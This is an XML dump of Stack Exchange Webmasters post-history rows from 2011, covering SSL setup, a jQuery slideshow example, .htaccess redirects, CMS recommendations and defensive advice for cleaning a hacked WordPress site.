  <row Id="19522" PostHistoryTypeId="2" PostId="8937" RevisionGUID="83be10cf-9cf7-4392-b792-a64d44b780a2" CreationDate="2011-02-09T19:36:42.763" UserDisplayName="Greg Hewgill" Text="From a programming point of view, you won't notice a lot of difference. The connection between the user's browser and your web server is encrypted, but your code on the web server doesn't have to be concerned about the fact that it's an HTTPS connection. You will still see the same requests and be able to send the same responses, with the web server managing the encryptiong itself.&#xD;&#xA;&#xD;&#xA;Having said that, there are sometimes aspects you may be concerned with when programming. For example, there will be a way (depending on your web server) to find out whether a given connection is encrypted or not. You may also want to redirect users to an encrypted or non-encrypted URL as your particular application needs." />
  <row Id="19523" PostHistoryTypeId="2" PostId="8934" RevisionGUID="e7b20f9d-56d8-4826-849d-5206dd53e3ed" CreationDate="2011-02-09T19:07:48.913" UserDisplayName="user524007" Text="Does anyone have any links or advice about adding SSL to a website?" />
  <row Id="19524" PostHistoryTypeId="1" PostId="8934" RevisionGUID="e7b20f9d-56d8-4826-849d-5206dd53e3ed" CreationDate="2011-02-09T19:07:48.913" UserDisplayName="user524007" Text="I seek information about adding SSL to a website." />
  <row Id="19525" PostHistoryTypeId="3" PostId="8934" RevisionGUID="e7b20f9d-56d8-4826-849d-5206dd53e3ed" CreationDate="2011-02-09T19:07:48.913" UserDisplayName="user524007" Text="&lt;ssl&gt;" />
  <row Id="19526" PostHistoryTypeId="17" PostId="8934" RevisionGUID="35864c37-8a57-46c6-83c0-a6892e11d36d" CreationDate="2011-02-09T20:42:58.863" UserId="-1" Comment="from http://stackoverflow.com/questions/4949318/i-seek-information-about-adding-ssl-to-a-website" Text="" />
  <row Id="19527" PostHistoryTypeId="10" PostId="8934" RevisionGUID="74ed3000-dad6-44b6-bfe7-ef57293af333" CreationDate="2011-02-09T20:47:09.420" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19528" PostHistoryTypeId="2" PostId="8938" RevisionGUID="8c8a8af4-6b47-4ec8-b460-67c1798b36fc" CreationDate="2011-02-09T20:48:27.870" UserId="4142" Text="A simple way around your dilemma would be to allow the searcher themselves to decide. Instead of removing the results, you could flag them as &quot;potentially containing hate speech&quot;.&#xD;&#xA;&#xD;&#xA;Upon performing a search that contains these results, you could prompt the searcher:&#xD;&#xA;&#xD;&#xA;&gt; Your search contains results that may be considered hate speech; would you like to hide these results?&#xD;&#xA;&#xD;&#xA;This would allow the searcher to pick whether or not those results conflict with their values, and act accordingly. You could even cache their choice for later, so the dialog doesn't become a nuisance.&#xD;&#xA;&#xD;&#xA;You'll still be stuck in the position of classifying &amp; identifying &quot;objectionable material&quot; of sorts, and may catch some flak for that alone, but you avoid the whole issue of restricting your search results and allow the user to choose what's best for themselves." />
  <row Id="19529" PostHistoryTypeId="2" PostId="8939" RevisionGUID="e70b7c11-9536-4642-a63d-fbdfd251026f" CreationDate="2011-02-09T21:04:52.473" UserId="5024" Text="I'm building a new WordPress TwentyTen child theme using the ElastiCSS framework ( http://elasticss.com/ ) and am trying to figure out the best way of using some sort of dynamic content slideshow.&#xD;&#xA;&#xD;&#xA;**What is the best way to implement a slideshow in a fluid or elastic layout such that it remains proportional to the other items in the content area?** Should I even bother trying to obtain that? Or should I use like four different sizes in conjunction with something like the Less framework ( http://lessframework.com/ )?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;(BTW, I've posted here because this was more of a &quot;what's the best option&quot; question than a &quot;How do I program that?&quot; question. If you think it would be more appropriate on SO, please move it there.)" />
  <row Id="19530" PostHistoryTypeId="1" PostId="8939" RevisionGUID="e70b7c11-9536-4642-a63d-fbdfd251026f" CreationDate="2011-02-09T21:04:52.473" UserId="5024" Text="Slideshows in elastic or fluid layouts?" />
  <row Id="19531" PostHistoryTypeId="3" PostId="8939" RevisionGUID="e70b7c11-9536-4642-a63d-fbdfd251026f" CreationDate="2011-02-09T21:04:52.473" UserId="5024" Text="&lt;css&gt;&lt;wordpress&gt;&lt;flash&gt;&lt;jquery&gt;&lt;css-framework&gt;" />
  <row Id="19532" PostHistoryTypeId="2" PostId="8940" RevisionGUID="adf3db13-819a-4263-b95c-703bedbe7ae0" CreationDate="2011-02-09T21:11:50.970" UserId="4142" Text="Your site currently has some malicious Javascript embedded in the bottom of your site that embeds an iframe in your page. This could infect visitors with malware, attempt to steal their passwords, or do all sorts of other nasty things.&#xD;&#xA;&#xD;&#xA;There are a couple of steps you can take to remedy this problem.&#xD;&#xA;&#xD;&#xA;## Reinstall the latest version of WordPress ##&#xD;&#xA;&#xD;&#xA;It's very important that you keep up to date with any web applications you're using on your web site. Older versions can contain security vulnerabilities that can be used to infect your page with foreign code or content.&#xD;&#xA;&#xD;&#xA;Since it looks like your site is using WordPress, I'd recommend reinstalling the latest version and starting from a clean slate. You may lose any previous posts and/or comments, but you also don't want to carry along any of the infection with the previous content.&#xD;&#xA;&#xD;&#xA;If you'd like to keep your current post, I would recommend copying them into a text file first, and them pasting them into the new installation as new entries. This way, you can make sure that no residual code is present.&#xD;&#xA;&#xD;&#xA;## Change your FTP Password ##&#xD;&#xA;&#xD;&#xA;Often, attackers can get in to your web site if you have a weak FTP password. Additionally, if you don't use sFTP, your password is sent in clear text across the Internet and can be intercepted.&#xD;&#xA;&#xD;&#xA;Using a strong password (more than eight characters, mixed with numbers and symbols, without any common words) and connecting through secure channels can help prevent this.&#xD;&#xA;&#xD;&#xA;## Clean out any unfamiliar files ##&#xD;&#xA;&#xD;&#xA;Make sure to check your web root for any files you don't recognize. If your account has been compromised, attackers may leave a backdoor script as a method of re-compromising your site.&#xD;&#xA;&#xD;&#xA;Check for any files with odd modification times - times that you wouldn't have uploaded files to your web site, for instance.&#xD;&#xA;&#xD;&#xA;## Consider changing hosting providers ##&#xD;&#xA;&#xD;&#xA;If you're already following good security precautions, then you might not be at fault. If FreeHostia is running server software that contains a vulnerability, or they don't follow security practices themselves, there is **nothing** you can do to secure your web site. Make sure to host your web site with a reputable host." />
  <row Id="19533" PostHistoryTypeId="2" PostId="8941" RevisionGUID="10e61615-6264-4c2a-8a40-73290748e459" CreationDate="2011-02-09T21:21:12.107" UserId="5292" Text="You're using WordPress and haven't updated, your source says 2.8.2.&#xD;&#xA;&#xD;&#xA;At the bottom of your page is a script. eval(unescape('%64 ...&#xD;&#xA;&#xD;&#xA;Check your theme files and the database, check the WordPress files or maybe try a clean install and restore the database.&#xD;&#xA;&#xD;&#xA;Searching 'wordpress eval 64' has lots of results but pretty much you have to clean your files of that. It could just be the footer of your theme though.&#xD;&#xA;&#xD;&#xA;Here's a link, http://wordpress.org/support/topic/evalbase64_decode-hacked, to the WordPress forums with links and help." />
  <row Id="19534" PostHistoryTypeId="5" PostId="8847" RevisionGUID="5d96c5ee-ad04-4756-afae-4e8e28671d44" CreationDate="2011-02-09T21:30:02.207" UserId="1064" Comment="Added mouseenter + mouseleave events and show-stopper" Text="This is a really simple task for jQuery - there are some concerns (i.e. variable slideshow slides) that aren't easy to solve in basic Javascript, so I would stick with a framework... preferably whichever framework is already in use at your site.&#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Slideshow&lt;/title&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    div.slide,&#xD;&#xA;    div#slideshow {&#xD;&#xA;        height:240px;&#xD;&#xA;        width:340px;&#xD;&#xA;        padding:2px 8px;&#xD;&#xA;        overflow:hidden;&#xD;&#xA;    }&#xD;&#xA;    div.slide {&#xD;&#xA;        display:none;&#xD;&#xA;    }&#xD;&#xA;    div#slideshow {&#xD;&#xA;        border:dashed 1px #C0C0C0;&#xD;&#xA;    }&#xD;&#xA;    div#slide0 {&#xD;&#xA;        display:block;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    // Configuration: Set time out interval in seconds&#xD;&#xA;    var slideTimeout = 5;&#xD;&#xA;    // EOF_Configuration&#xD;&#xA;    var showTimerID = 0;&#xD;&#xA;    var slidePointer = -1;&#xD;&#xA;    var slides = new Array();&#xD;&#xA;    function advanceSlide() {&#xD;&#xA;        var lastSlide = slidePointer;&#xD;&#xA;        if ( slidePointer &gt;= (slides.length - 1) ) {&#xD;&#xA;            slidePointer = 0;&#xD;&#xA;        } else {&#xD;&#xA;            slidePointer++;&#xD;&#xA;        }&#xD;&#xA;        var nextSlide = slidePointer;&#xD;&#xA;        $('div#'+slides[lastSlide]).fadeOut();&#xD;&#xA;        $('div#'+slides[nextSlide]).fadeIn();&#xD;&#xA;        showTimerID = setTimeout( 'advanceSlide()', slideTimeout * 1000 );&#xD;&#xA;    }&#xD;&#xA;    function registerSlide( slideNo ) {&#xD;&#xA;        slides.push( slideNo );&#xD;&#xA;    }&#xD;&#xA;    function stopShow() {&#xD;&#xA;    	if ( showTimerID ) {&#xD;&#xA;    		clearTimeout(showTimerID);&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;        if ( $('div.slide').length ) {&#xD;&#xA;            $('div.slide').each(function() {&#xD;&#xA;                registerSlide( $(this).attr('id') );&#xD;&#xA;            });&#xD;&#xA;    		$('div.slide').bind( 'mouseenter', function() {&#xD;&#xA;    			stopShow();&#xD;&#xA;    		});&#xD;&#xA;    		$('div.slide').bind( 'mouseleave', function() {&#xD;&#xA;    			advanceSlide();&#xD;&#xA;    		});&#xD;&#xA;            advanceSlide();&#xD;&#xA;        }&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;        &lt;h1&gt;Slideshow Example&lt;/h1&gt;&#xD;&#xA;        &lt;p&gt;This page demonstrates a simple timed slideshow.&lt;/p&gt;&#xD;&#xA;        &lt;div id=&quot;slideshow&quot;&gt;&#xD;&#xA;            &lt;noscript&gt;&#xD;&#xA;                &lt;div class=&quot;slide&quot; id=&quot;slide0&quot;&gt;&#xD;&#xA;                    &lt;p&gt;Learn more about:&lt;/p&gt;&#xD;&#xA;                    &lt;p&gt;&lt;a href=&quot;/path/to/slide1/destination&quot;&gt;Slide I&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;                    &lt;p&gt;&lt;a href=&quot;/path/to/slide2/destination&quot;&gt;Slide II&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;                    &lt;p&gt;&lt;a href=&quot;/path/to/slide3/destination&quot;&gt;Slide III&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/noscript&gt;&#xD;&#xA;            &lt;div class=&quot;slide&quot; id=&quot;slide1&quot;&gt;&#xD;&#xA;                &lt;p&gt;&lt;a href=&quot;/path/to/slide1/destination&quot;&gt;Slide I&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;                &lt;p&gt;Some content specific to this slide...&lt;/p&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;            &lt;div class=&quot;slide&quot; id=&quot;slide2&quot;&gt;&#xD;&#xA;                &lt;p&gt;&lt;a href=&quot;/path/to/slide2/destination&quot;&gt;Slide II&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;                &lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/6/66/Badger.jpg&quot; alt=&quot;BADGER&quot; style=&quot;height:200px;width:320px;&quot; /&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;            &lt;div class=&quot;slide&quot; id=&quot;slide3&quot;&gt;&#xD;&#xA;                &lt;p&gt;&lt;a href=&quot;/path/to/slide3/destination&quot;&gt;Slide III&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;                &lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/7/76/Coast_Garter_Snake.jpg/800px-Coast_Garter_Snake.jpg&quot; alt=&quot;SNAKE&quot; style=&quot;height:200px;width:320px;&quot; /&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;" />
  <row Id="19535" PostHistoryTypeId="17" PostId="8943" RevisionGUID="07954546-df32-436b-a48c-0f66cfdac16f" CreationDate="2011-02-09T22:40:36.843" UserId="-1" Comment="from http://serverfault.com/questions/233573/force-www-on-multi-domain-site-and-retain-http-or-https/233602#233602" Text="" />
  <row Id="19536" PostHistoryTypeId="2" PostId="8943" RevisionGUID="b7b3343f-8e13-4176-8053-7f865ccbc1e8" CreationDate="2011-02-09T22:32:48.910" UserDisplayName="jgoldschrafe" Text="Not to be evasive about your actual question, but Google was pretty clear that incidental duplication from things like this doesn't cause any penalties with their ranking algorithm:&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&#xD;&#xA;&#xD;&#xA;I imagine that most search engines are not dumb enough to penalize the huge majority of sites on the Internet that respond to HTTP hosts with and without the leading &quot;www.&quot;" />
  <row Id="19537" PostHistoryTypeId="2" PostId="8942" RevisionGUID="17ae9624-d2b2-4901-9cee-bc2b847b36fc" CreationDate="2011-02-09T21:54:49.030" UserId="971" Text="&#xD;&#xA;I am using CakePHP which already contains an `.htaccess` file that looks like:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;       RewriteEngine on&#xD;&#xA;       RewriteRule    ^$ app/webroot/    [L]&#xD;&#xA;       RewriteRule    (.*) app/webroot/$1 [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to force `www.` (unless it is a subdomain) to avoid duplicate content penalties.&#xD;&#xA;&#xD;&#xA;It needs to retain `http` or `https`&#xD;&#xA;&#xD;&#xA;Also&#xD;&#xA;&#xD;&#xA;This application will have multiple domains pointing to it. So the code needs to be able to work with any domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19538" PostHistoryTypeId="1" PostId="8942" RevisionGUID="17ae9624-d2b2-4901-9cee-bc2b847b36fc" CreationDate="2011-02-09T21:54:49.030" UserId="971" Text="Force www. on multi domain site and retain http or https" />
  <row Id="19539" PostHistoryTypeId="3" PostId="8942" RevisionGUID="17ae9624-d2b2-4901-9cee-bc2b847b36fc" CreationDate="2011-02-09T21:54:49.030" UserId="971" Text="&lt;mod-rewrite&gt;&lt;htaccess&gt;&lt;multiple-domains&gt;" />
  <row Id="19540" PostHistoryTypeId="17" PostId="8942" RevisionGUID="0d214c0c-ee7f-49e5-8c7e-782e6b06fa99" CreationDate="2011-02-09T22:40:36.843" UserId="-1" Comment="from http://serverfault.com/questions/233573/force-www-on-multi-domain-site-and-retain-http-or-https" Text="" />
  <row Id="19541" PostHistoryTypeId="2" PostId="8944" RevisionGUID="5a3bfc19-e603-49c5-b440-89a4434d9976" CreationDate="2011-02-09T22:36:20.943" UserDisplayName="Karl" Text="Requirements:&#xD;&#xA;&#xD;&#xA; - PHP (5+ Preferably)&#xD;&#xA; - MySQL (5+ Preferably)&#xD;&#xA; - Apache (2+ Preferably)" />
  <row Id="19542" PostHistoryTypeId="1" PostId="8944" RevisionGUID="5a3bfc19-e603-49c5-b440-89a4434d9976" CreationDate="2011-02-09T22:36:20.943" UserDisplayName="Karl" Text="Software with a blog, CMS ans a forum all-in-one?" />
  <row Id="19543" PostHistoryTypeId="3" PostId="8944" RevisionGUID="5a3bfc19-e603-49c5-b440-89a4434d9976" CreationDate="2011-02-09T22:36:20.943" UserDisplayName="Karl" Text="&lt;php&gt;" />
  <row Id="19544" PostHistoryTypeId="17" PostId="8944" RevisionGUID="81cb82cb-3256-424f-af0d-370621de0ecc" CreationDate="2011-02-09T22:41:17.527" UserId="-1" Comment="from http://stackoverflow.com/questions/4951375/software-with-a-blog-cms-ans-a-forum-all-in-one" Text="" />
  <row Id="19545" PostHistoryTypeId="2" PostId="8945" RevisionGUID="12317a4f-3c43-42e6-a338-6cf96afbb33f" CreationDate="2011-02-09T22:44:54.670" UserId="5293" Text="[Drupal][1] will do that, but it might be overly complicated for your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.drupal.org" />
  <row Id="19547" PostHistoryTypeId="2" PostId="8947" RevisionGUID="fb4de4a3-53f8-4306-ada7-97a403ef0515" CreationDate="2011-02-09T22:56:01.270" UserId="4502" Text="You're not defining what you mean by &quot;CMS&quot; vs blog, but we'll gloss over that for the moment.&#xD;&#xA;&#xD;&#xA;Expression Engine will handle the blog/general CMS aspects as part of core, and has a forum module.&#xD;&#xA;&#xD;&#xA;WordPress will do blogging for you, with some plugins(eg. Pods) that will do what some people would call more &quot;CMS-like&quot; functionality. bbPress could be integrated with it at least as far as 2.9, and I think the current roadmap for it is to become something like a plugin you bolt onto core WordPress; you'll have to look into that yourself." />
  <row Id="19548" PostHistoryTypeId="25" PostId="8944" RevisionGUID="a06481b2-773f-47ec-bfcf-ab7808cda377" CreationDate="2011-02-09T23:22:17.767" Comment="http://twitter.com/#!/StackWebmasters/status/35478619165962240" />
  <row Id="19549" PostHistoryTypeId="2" PostId="8948" RevisionGUID="35725ec7-fc2e-4eab-b236-e098205376fd" CreationDate="2011-02-09T23:41:04.020" UserDisplayName="user5296" Text="Title was a little hard to work, but take this as an example.&#xD;&#xA;&#xD;&#xA;User goes to site, creates account, and then has his/her own profile to edit. Let's say the profile includes height, weight, sex, eye color, etc..&#xD;&#xA;&#xD;&#xA;I've really only used wordpress before, but I'm sure something else would cater to this better. The entire site is focused around a person having their own profile page with the info they supply.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="19550" PostHistoryTypeId="1" PostId="8948" RevisionGUID="35725ec7-fc2e-4eab-b236-e098205376fd" CreationDate="2011-02-09T23:41:04.020" UserDisplayName="user5296" Text="Looking for a package allowing user-entered profiles" />
  <row Id="19551" PostHistoryTypeId="3" PostId="8948" RevisionGUID="35725ec7-fc2e-4eab-b236-e098205376fd" CreationDate="2011-02-09T23:41:04.020" UserDisplayName="user5296" Text="&lt;web-development&gt;&lt;users&gt;" />
  <row Id="19552" PostHistoryTypeId="2" PostId="8949" RevisionGUID="f0032958-b99b-4049-a516-59c859f36d2a" CreationDate="2011-02-10T00:12:35.243" UserId="5297" Text="Wordpress, phpbb3, and anything else you might want to stack on top of that. These solutions don't really come in a one stop all formate. " />
  <row Id="19553" PostHistoryTypeId="2" PostId="8950" RevisionGUID="59133494-e766-4018-ab5a-f2182e821d3a" CreationDate="2011-02-10T00:34:05.553" UserDisplayName="user5298" Text="I think they are updating on this site.. so that's why it turns out like that..like this one&#xD;&#xA;http://bit.ly/strang_e" />
  <row Id="19554" PostHistoryTypeId="17" PostId="8952" RevisionGUID="5bbf771b-a173-4a2c-afd8-e5e1d806e446" CreationDate="2011-02-10T01:45:46.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4941936/simple-cms-for-clients/4941957#4941957" Text="" />
  <row Id="19555" PostHistoryTypeId="17" PostId="8953" RevisionGUID="2f29a5df-1e4e-4f24-abfb-708ec3f4625f" CreationDate="2011-02-10T01:45:46.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4941936/simple-cms-for-clients/4941983#4941983" Text="" />
  <row Id="19556" PostHistoryTypeId="2" PostId="8952" RevisionGUID="1298527a-545b-42e3-94c9-9fb1703f8d60" CreationDate="2011-02-09T06:31:01.300" UserDisplayName="P.R." Text="Have a look at [Open Source CMS][1]&#xD;&#xA;&#xD;&#xA;It will let you try all of the open source PHP CMSs and figure out which one best suits you.&#xD;&#xA;&#xD;&#xA;This is the link to the [Lite CMS][2] Section.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.opensourcecms.com/&#xD;&#xA;  [2]: http://php.opensourcecms.com/scripts/show.php?catid=9&amp;category=Lite" />
  <row Id="19557" PostHistoryTypeId="2" PostId="8953" RevisionGUID="c89d726a-0c8b-450e-83e6-0b9ea793ba1c" CreationDate="2011-02-09T06:35:52.170" UserDisplayName="myrridin" Text="My personal favorite is [CMS Made Simple][1]&#xD;&#xA;&#xD;&#xA;Clients I've worked with have the best success with the editing interface (it uses TinyMCE WYSIWYG), and it's much easier to build templates than WP or Joomla. I've built some complicated templates with it as well. They're based on Smarty markup, i.e.&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;{sitename} - {title}&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div&gt;{content}&lt;/div&gt;&#xD;&#xA;            &lt;div id=&quot;footer&quot;&gt;{global_content name='footer'}&lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Content is defined in the editing interface so your users can reach it, and there can be multiple blocks. Global content appears on all pages. There's also custom tags and a good selection of plugins for forms, images, calendars, etc.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cmsmadesimple.org/" />
  <row Id="19558" PostHistoryTypeId="2" PostId="8951" RevisionGUID="f05c6ae8-4e02-4a3e-95d7-ea36d7d01540" CreationDate="2011-02-09T06:26:33.590" UserDisplayName="jae" Text="I'm looking for something fairly simple for clients to use and very easy for me to skin (somewhat complicated themes). something like Perch or Couchcms, but has to be open source to satisfy some license requirements..&#xD;&#xA;&#xD;&#xA;I can't really seem to find any CMS that is like this {Wordpress, drupal etc are *way* too heavy for this use} , really appreciated&#xD;&#xA;&#xD;&#xA;There aren't much requirements, anything will really work - each site gets their own jailed instance and stuff, just PHP/MySQL" />
  <row Id="19559" PostHistoryTypeId="1" PostId="8951" RevisionGUID="f05c6ae8-4e02-4a3e-95d7-ea36d7d01540" CreationDate="2011-02-09T06:26:33.590" UserDisplayName="jae" Text="Simple CMS for clients?" />
  <row Id="19560" PostHistoryTypeId="3" PostId="8951" RevisionGUID="f05c6ae8-4e02-4a3e-95d7-ea36d7d01540" CreationDate="2011-02-09T06:26:33.590" UserDisplayName="jae" Text="&lt;php&gt;&lt;cms&gt;" />
  <row Id="19561" PostHistoryTypeId="17" PostId="8951" RevisionGUID="b5bf487f-12cc-4861-a48b-e02aa203ec71" CreationDate="2011-02-10T01:45:46.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4941936/simple-cms-for-clients" Text="" />
  <row Id="19562" PostHistoryTypeId="25" PostId="8942" RevisionGUID="6ba9b744-92cb-4e0b-b476-e9637f280390" CreationDate="2011-02-10T02:22:17.623" Comment="http://twitter.com/#!/StackWebmasters/status/35523921482616832" />
  <row Id="19563" PostHistoryTypeId="2" PostId="8954" RevisionGUID="b689b729-29bb-4754-a61d-4cfc0e32761e" CreationDate="2011-02-10T03:22:32.350" UserId="5300" Text="I've used FrogCMS with some success: http://www.madebyfrog.com/&#xD;&#xA;&#xD;&#xA;The interface is decent. You get your choice of Textile or Markdown, and there's a TinyMCE addon floating around somewhere (oh, check out the Extend-&gt;Contributed Plugins page). Uploading and inserting files into pages can be a little tricky for end users. &#xD;&#xA;&#xD;&#xA;Hasn't been updated in a while but the author says he's started working on it again.&#xD;&#xA;" />
  <row Id="19564" PostHistoryTypeId="2" PostId="8955" RevisionGUID="1c7c774e-87e9-42ee-893c-58f8be9cbde3" CreationDate="2011-02-10T03:32:46.343" UserId="4803" Text="JQuery Plugins: http://plugins.jquery.com/projects/plugins?type=48&#xD;&#xA;&#xD;&#xA;I'm sure there's a slideshow that is automatically scalable." />
  <row Id="19565" PostHistoryTypeId="2" PostId="8956" RevisionGUID="b606fb8f-8b5e-40eb-bf80-9fa16edac30c" CreationDate="2011-02-10T03:33:34.723" UserId="5301" Text="If you are familiar with wordpress, I have implemented sites with profiles using regi-plus-redux plugin.  It allows you to make as many custom fields to your sign up page as you want as well as customize your pages, that with the CYC (customize your community) plugin which helps skinning some pages that are under the admin section (profile) and you are well on your way without much additional customizations." />
  <row Id="19566" PostHistoryTypeId="2" PostId="8957" RevisionGUID="5172bcba-f4c9-447d-8604-e621da3be8a6" CreationDate="2011-02-10T03:45:33.593" UserId="4803" Text="Great answer from danlefree, but let me touch on the two methods that you mentioned before and their suspected outcome.&#xD;&#xA;&#xD;&#xA;Even though your specific demographic may not be computer savvy, let's just assume that they are the Average Joe (AJ for short).&#xD;&#xA;&#xD;&#xA;IP tracking is a good way to deter a fair amount of abuse simply because people aren't knowledgeable enough to change their own IP. AJ could theoretically search for their solution, yes. But it would be up to you to conceal the tracking method as much as possible.&#xD;&#xA;&#xD;&#xA;Cookies are a lot more difficult to use than IP tracking. A lot of people have them turned off by default. Security programs check that and will prompt AJ when one is requested, giving him an easy clue if he wanted to abuse your registration." />
  <row Id="19567" PostHistoryTypeId="2" PostId="8958" RevisionGUID="285f1d39-eced-433f-8505-b1604e942e0d" CreationDate="2011-02-10T04:09:42.493" UserId="4803" Text="&lt;a href=&quot;http://www.freelancer.com&quot;&gt;Freelancer&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Pretty much the same thing. I would recommend posting on both sites as to attract the most amount of potential contracting companies." />
  <row Id="19568" PostHistoryTypeId="2" PostId="8959" RevisionGUID="5eda93ff-6ee9-4bdc-9512-47f37071067a" CreationDate="2011-02-10T04:24:46.070" UserId="5302" Text="I am working on my own website for my business, and I need to contract out some assistance.  For example, I have the site looking pretty good on Firefox, but it needs help on other browsers.  I also need some help with adding some Django apps to the site and setting up a database.  I plan to seek the help of two different individuals via elance or odesk.  My question is which to do first - get the css and html right then do the apps, or get the apps done and then work on the css and html?  Thanks in advance for any suggestions." />
  <row Id="19569" PostHistoryTypeId="1" PostId="8959" RevisionGUID="5eda93ff-6ee9-4bdc-9512-47f37071067a" CreationDate="2011-02-10T04:24:46.070" UserId="5302" Text="Should I work on CSS or apps first?" />
  <row Id="19570" PostHistoryTypeId="3" PostId="8959" RevisionGUID="5eda93ff-6ee9-4bdc-9512-47f37071067a" CreationDate="2011-02-10T04:24:46.070" UserId="5302" Text="&lt;html&gt;&lt;css&gt;&lt;django&gt;&lt;python&gt;" />
  <row Id="19571" PostHistoryTypeId="2" PostId="8960" RevisionGUID="65a8bd87-be4e-47f9-a0ff-6b4fa1327978" CreationDate="2011-02-10T04:32:48.053" UserId="4803" Text="&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/9-most-common-ie-bugs-and-how-to-fix-them/&quot;&gt;IE Bug Fixes&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I would personally get a strong template down before working on any crazy features. Do the HTML/CSS then move on to the APPs. It might help attract good freelancers if you have everything else done." />
  <row Id="19572" PostHistoryTypeId="2" PostId="8961" RevisionGUID="224d39cd-a09e-449e-940f-e308326d5218" CreationDate="2011-02-09T18:49:14.737" UserDisplayName="nicks451" Text="The company I work for is close to being finished with our first web app and we recently made the decision to offer hosting for our smaller customers. (We provide software to lending companies and our larger customers are required to buy redundant servers to host their application). What we are trying to work out right now is how to create user generated subdomains that will hold a new instance of the software.&#xD;&#xA;&#xD;&#xA;So a user will be able to sign up and say that the company name is XYZ Credit once they click on the create account button a url of xyzcredit.ourcompanyname.com is created and the user is redirected to it.&#xD;&#xA;&#xD;&#xA;The servers that we want to use are running CentOS 5.5 and Virtualmin 3.83.&#xD;&#xA;&#xD;&#xA;Thank you for your help,&#xD;&#xA;Nick" />
  <row Id="19573" PostHistoryTypeId="1" PostId="8961" RevisionGUID="224d39cd-a09e-449e-940f-e308326d5218" CreationDate="2011-02-09T18:49:14.737" UserDisplayName="nicks451" Text="Creating User Generated Subdomains" />
  <row Id="19574" PostHistoryTypeId="3" PostId="8961" RevisionGUID="224d39cd-a09e-449e-940f-e308326d5218" CreationDate="2011-02-09T18:49:14.737" UserDisplayName="nicks451" Text="&lt;web-applications&gt;&lt;domain-names&gt;" />
  <row Id="19575" PostHistoryTypeId="17" PostId="8961" RevisionGUID="53c02e91-666d-41d5-910b-4fa890023632" CreationDate="2011-02-10T05:22:03.700" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12231/creating-user-generated-subdomains" Text="" />
  <row Id="19576" PostHistoryTypeId="25" PostId="8959" RevisionGUID="d93737e8-9205-4ade-95d2-cb0c53aa01b2" CreationDate="2011-02-10T05:22:17.483" Comment="http://twitter.com/#!/StackWebmasters/status/35569219496058880" />
  <row Id="19577" PostHistoryTypeId="2" PostId="8962" RevisionGUID="ea25ed67-1a8d-4325-9fd5-c17a6c049ebc" CreationDate="2011-02-10T05:33:12.983" UserId="3486" Text="I am creating my first ever major plugin for Wordpress and I intend to share it to the community. It integrates paypal's subscription button which is very useful for people who wishe to build a membership site using Wordpress. Question: Is IPN reliable enough that there's no need to control the subscription thru cron myself? I have not tested my plugin for a span of a month or so though because doing so would eat a lot of my time. " />
  <row Id="19578" PostHistoryTypeId="1" PostId="8962" RevisionGUID="ea25ed67-1a8d-4325-9fd5-c17a6c049ebc" CreationDate="2011-02-10T05:33:12.983" UserId="3486" Text="Is paypal's IPN reliable enough?" />
